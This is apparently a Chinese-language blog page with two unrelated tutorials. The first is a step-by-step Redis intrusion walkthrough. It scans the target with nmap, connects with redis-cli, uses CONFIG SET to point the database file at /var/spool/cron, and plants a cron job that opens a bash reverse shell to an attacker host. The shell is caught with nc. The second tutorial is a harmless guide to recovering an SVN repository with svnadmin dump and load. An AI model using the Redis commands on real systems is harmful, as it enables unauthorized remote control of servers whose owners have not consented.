通过redis渗透

如果redis绑定在0.0.0.0地址且无需密码访问并对/var/spool/cron有写入权限那很可能会对主机安全造成影响

渗透工具 nmap nc redis-cli(这里使用的是kail环境)

渗透目标 192.168.1.179

攻击机 192.168.1.73

使用nmap扫描目标,由于是测试端口范围已知,红色为redis集群端口

nmap -p 7000-7010 -sT -O 192.168.1.179
Nmap scan report for 192.168.1.179
Host is up (0.00032s latency).
PORT     STATE  SERVICE
7000/tcp closed afs3-fileserver
7001/tcp open   afs3-callback
7002/tcp open   afs3-prserver
7003/tcp open   afs3-vlserver
7004/tcp open   afs3-kaserver
7005/tcp open   afs3-volser
7006/tcp open   afs3-errors
7007/tcp closed afs3-bos
7008/tcp closed afs3-update
7009/tcp closed afs3-rmtsys
7010/tcp closed ups-onlinet

使用cli集群模式连接redis

redis-cli -c -h 192.168.1.179 -p 7001

切换至定时任务目录

192.168.1.179:7001> CONFIG SET dir /var/spool/cron

创建一个定时任务文件

192.168.1.179:7001> CONFIG SET dbfilename hack

设置一个定时任务反弹shell save保存exit退出

set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.73/9999 0>&1\n\n"

进入指定端口交互式shell

nc -l -p 9999

渗透完成

SVN的迁移与恢复

在经历服务器断电硬盘恢复后重新恢复svn服务

首先使用svnadmin命令初始化一个仓库

svnadmin create repos

该存储库用于之后的导入

然后在恢复好的硬盘中找到原存储库的current文件观察当前递增的版本号,路径根据之前仓库路径变化

cat /mnt/usb/backup/sqn004\ lv_home/svn/repo/db/current
23082

使用dump命令导出原有存储库,如果仓库内容很多时间会很长

svnadmin dump /mnt/usb/backup/sqn004\ lv_home/svn/repo > /home/svnrepo.dump
* 已转存版本 0。
* 已转存版本 1。
* 已转存版本 2。
* 已转存版本 3。
      .
      .

期间如果出现导出失败记录下失败标号,当前事例由于存储空间问题失败与版本22986,释放空间后加入参数重新dump

svnadmin dump /mnt/usb/backup/sqn004\ lv_home/svn/repo/ -r 22986:23082 --incremental >svnrepo2.dump

完成后将dump文件重新load进新的存储库

svnadmin load /home/svn/repo/ < svnrepo.dump
svnadmin load /home/svn/repo/ < svnrepo2.dump